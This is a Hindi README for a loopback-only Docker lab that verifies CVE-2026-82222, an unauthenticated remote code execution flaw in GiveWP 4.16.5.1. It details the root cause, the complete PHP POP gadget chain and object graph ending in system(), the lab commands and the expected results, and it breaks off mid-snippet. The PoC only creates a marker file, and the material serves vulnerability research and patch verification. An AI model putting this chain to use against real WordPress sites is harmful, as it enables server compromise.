CVE-2026-82222 — GiveWP मार्कर-ओनली RCE सत्यापन लैब

CVE-2026-82222 को एक पृथक Docker लैब में पुनरुत्पादित और सत्यापित करने के लिए सुरक्षा-अनुसंधान सामग्री।

प्रत्यक्ष RCE PoC और URL स्कैन के लिए CVE-2026-8222-RCE.py का उपयोग करें

निर्णय

स्थिति: प्रदान किए गए लैब में सिद्ध

GiveWP 4.16.5.1 एक प्रारंभिक रूप से अप्रमाणित हमलावर को PHP ऑब्जेक्ट ग्राफ बनाए रखने, GiveWP सत्र हैंडलिंग के माध्यम से इसे पुनर्जीवित करने, और WordPress वेब-सर्वर उपयोगकर्ता के रूप में एक निश्चित मार्कर कमांड निष्पादित करने की अनुमति देता है।

परीक्षण किया गया सकारात्मक परिणाम:

GiveWP:    4.16.5.1
WordPress: 6.6.2
PHP:       8.1.30
Result:    /tmp/CVE-2026-82222-RCE-GETBAG created by www-data

अंत-से-अंत परिणाम शुद्ध, गैर-इंस्ट्रूमेंटेड GiveWP 4.16.5.1 स्रोत के विरुद्ध भी पुनरुत्पादित किया गया था। GiveWP 4.16.7.2 ने परीक्षण किए गए कॉन्फ़िगरेशन में HTTP कैरियर को अवरुद्ध किया और प्रत्यक्ष नियंत्रण के दौरान टर्मिनल गैजेट को स्वतंत्र रूप से अवरुद्ध किया।

यह WordPress कंटेनर के अंदर कमांड निष्पादन प्रदर्शित करता है। यह रूट एक्सेस, कंटेनर एस्केप, पार्श्व गति, या होस्ट समझौता प्रदर्शित नहीं करता है।

सुरक्षा सीमा

इस रिपॉजिटरी का उपयोग केवल उन सिस्टमों पर करें जिनके आप स्वामी हैं या जिनका परीक्षण करने के लिए आप स्पष्ट रूप से अधिकृत हैं।

प्रदान किया गया PoC जानबूझकर सीमित है:

• यह केवल touch /tmp/CVE-2026-82222-RCE-GETBAG निष्पादित करता है।
• यह कोई मनमाना-कमांड विकल्प प्रदान नहीं करता है।
• यह कोई शेल, कॉलबैक, स्थिरता, या विशेषाधिकार वृद्धि नहीं बनाता है।
• यह गैर-लूपबैक लक्ष्यों को तब तक अस्वीकार करता है जब तक ऑपरेटर स्पष्ट --allow-authorized-non-loopback फ्लैग प्रदान नहीं करता।
• Docker WordPress को केवल 127.0.0.1 पर प्रकाशित करता है।
• Compose प्रोजेक्ट नाम चेकआउट पथ से प्राप्त होता है ताकि एक क्लोन दूसरे क्लोन के कंटेनर या वॉल्यूम को नष्ट न कर सके।
• लैब शुद्ध आधिकारिक प्लगइन स्रोत का उपयोग करता है; यह कमजोर लक्ष्य को इंस्ट्रूमेंट या पैच नहीं करता है।

HTTP परीक्षण एक डिस्पोजेबल डोनर उपयोगकर्ता, मेटाडेटा, और GiveWP सत्र पंक्तियाँ बनाता है। परीक्षण के बाद शामिल रीसेट कमांड का उपयोग करें।

त्वरित प्रारंभ

आवश्यकताएँ:

• Compose v2 के साथ Docker
• Python 3.10 या बाद का संस्करण
• curl
• unzip
• sha256sum या shasum
• आधिकारिक प्लगइन संग्रह के लिए downloads.wordpress.org तक नेटवर्क पहुंच

पूर्ण कमजोर/पैच किया गया मैट्रिक्स चलाएँ:

./lab verify

कमांड:

1. WordPress.org से GiveWP 4.16.5.1 और 4.16.7.2 डाउनलोड करता है।
2. दोनों SHA-256 हैश सत्यापित करता है।
3. सामान्य WordPress पंजीकरण स्पष्ट रूप से अक्षम के साथ एक नया लूपबैक-ओनली WordPress 6.6.2/PHP 8.1 लैब बनाता है।
4. शुद्ध 4.16.5.1 का परीक्षण करता है और वेब उपयोगकर्ता द्वारा मार्कर निर्माण की आवश्यकता होती है।
5. शुद्ध 4.16.7.2 के साथ दूसरा नया लैब बनाता है।
6. HTTP मार्कर अनुपस्थित रहने की आवश्यकता होती है।
7. प्रत्यक्ष नियंत्रण में इनग्रेस को बायपास करता है और पुष्टि करता है कि पैच किया गया ProviderForwarder टर्मिनल भी स्ट्रिंग कॉल करने योग्य को अस्वीकार करता है।

पैच किया गया लैब अंत में चालू रहता है। इसे हटाने के लिए:

./lab reset

दूसरे लूपबैक पोर्ट का उपयोग करने के लिए:

LAB_PORT=8099 ./lab verify

अपेक्षित साक्ष्य

कमजोर नियंत्रण ठोस टर्मिनल साक्ष्य के साथ समाप्त होना चाहिए:

[PASS] E1: unauthenticated registration issued auth cookie
[PASS] E3: serialized graph persisted in own last_name
[PASS] E4: donation-form nonce obtained
[PASS] E5: session write reached expected post-sink HTTP status=500
[PASS] E6: session read/destruction trigger completed
marker present and owned by the WordPress web user
RESULT: VULNERABLE CONTROL CONFIRMED

पैच किया गया नियंत्रण दिखाना चाहिए:

[PASS] P1: patched registration gate blocked auth cookie
DIRECT_MARKER=absent
HTTP marker absent and direct terminal gadget blocked
RESULT: PATCHED CONTROL CONFIRMED

मार्कर के बिना HTTP 500, संग्रहीत पेलोड, अपवाद, या डिटेक्टर हिट को RCE प्रमाण के रूप में स्वीकार नहीं किया जाता है।

मैनुअल लैब जीवनचक्र

कमजोर रिलीज़ प्रारंभ करें और परीक्षण करें:

./lab start vulnerable
./lab test

पैच की गई रिलीज़ प्रारंभ करें और परीक्षण करें:

./lab start patched
./lab test

वर्तमान स्थिति का निरीक्षण करें:

./lab status

कंटेनर, वॉल्यूम, परीक्षण उपयोगकर्ता, सत्र, और मार्कर स्थिति हटाएँ:

./lab reset

कैश किए गए प्लगइन ZIP और निकाले गए एसेट तेज़ पुनः चलाने के लिए संरक्षित हैं। उन सटीक उत्पन्न एसेट को भी हटाने के लिए:

./lab reset --purge-assets

प्रभावित और परीक्षण किए गए संस्करण

संस्करण	मूल्यांकन
GiveWP 4.16.5.1	RCE अंत से अंत तक पुनरुत्पादित
GiveWP 4.16.6–4.16.7.1	प्रभावित बताया गया; यहाँ व्यक्तिगत रूप से पुनरुत्पादित नहीं
GiveWP 4.16.7.2	पैच किए गए नकारात्मक नियंत्रण पुनरुत्पादित
बाद के रिलीज़	व्यक्तिगत रूप से परीक्षण नहीं; नवीनतम समर्थित रिलीज़ में अपडेट करें

सार्वजनिक सलाह 4.16.7.1 तक के रिलीज़ को प्रभावित के रूप में पहचानती है। यह रिपॉजिटरी सीधे केवल अपने सकारात्मक/नकारात्मक परीक्षण मैट्रिक्स में दो संस्करणों को साबित करती है।

संदर्भ:

• Patchstack सलाह
• CVE-2026-82222
• GiveWP हार्डनिंग कमिट
• आधिकारिक GiveWP प्लगइन पृष्ठ

मूल कारण

शोषण कई व्यवहारों को जोड़ता है:

1. GiveWP 4.16.5.1 एक पंजीकरण क्रिया उजागर करता है जो सामान्य WordPress पंजीकरण अक्षम होने पर भी एक निम्न-विशेषाधिकार डोनर बनाता और प्रमाणित करता है।
2. वह उपयोगकर्ता अपने स्वयं के नाम मेटाडेटा में क्रमबद्ध डेटा बनाए रख सकता है।
3. Give\Helpers\Utils::maybeSafeUnserialize() allowed_classes => false का उपयोग करता है, जो __PHP_Incomplete_Class उत्पन्न करता है, लेकिन बाद का क्रमबद्धीकरण मूल वर्ग नामों और गुणों को संरक्षित करता है।
4. ग्राफ एक GiveWP खरीद सत्र में संग्रहीत होता है।
5. बाद में एक अप्रतिबंधित maybe_unserialize() शिप किए गए वर्गों को पुनर्जीवित करता है।
6. स्वचालित विनाश system() के लिए एक पूर्ण POP श्रृंखला में प्रवेश करता है।

HTTP कैरियर में चार शाब्दिक नेमस्पेस बैकस्लैश आवश्यक हैं। दो प्रभावी स्ट्रिपिंग पास उन्हें 4 -> 2 -> 1 घटाते हैं। पेलोड NUL-मुक्त है, और PHP 8.1.30 को निजी Session::$attributeName गुण के लिए सादा क्रमबद्ध नाम हाइड्रेट करने के लिए सत्यापित किया गया था।

पूर्ण POP श्रृंखला

TCPDF::__destruct()
  -> TCPDF::_destroy(true)
  -> foreach ($this->imagekeys as $file)
  -> Symfony Session::getIterator()
  -> Session::getAttributeBag()
  -> Session::getBag($this->attributeName)
  -> $this->storage->getBag($attributeName)
  -> DonationFactory->__call('getBag', [$attributeName])
  -> call_user_func_array('system', [$attributeName])
  -> system('touch /tmp/CVE-2026-82222-RCE-GETBAG')

हमलावर-नियंत्रित ग्राफ:

TCPDF
├── file_id = unique request identifier
└── imagekeys = Give\Vendors\Symfony\Component\HttpFoundation\Session\Session
    ├── attributeName = fixed marker command
    └── storage = Give\TestData\Factories\DonationFactory
        └── loadedProviders["getBag"] = "system"

महत्वपूर्ण छिपा संक्रमण PHP का अंतर्निहित IteratorAggregate डिस्पैच है। TCPDF::$imagekeys अटाइप्ड है, इसलिए एक Symfony Session असाइन करने से foreach Session::getIterator() को आमंत्रित करता है।

मार्कर कमांड Symfony के getAttributeBag(): AttributeBagInterface रिटर्न प्रकार लागू करने से पहले निष्पादित होता है। परिणामी TypeError और HTTP 500 पोस्ट-सिंक प्रभाव हैं।

पिछले प्रयासों से क्या छूट गया

अस्वीकृत उम्मीदवार ग्राफ ने उपयोग किया:

TCPDF::$objcopy
  -> DonationFactory::$loadedProviders['__destruct'] = 'system'

वह ग्राफ काम नहीं कर सकता। TCPDF::_destroy() केवल objcopy को अनसेट करता है; PHP स्वचालित विनाश को __call('__destruct', ...) के माध्यम से रूट नहीं करता है।

लापता ऑपरेशन था:

foreach ($this->imagekeys as $file) {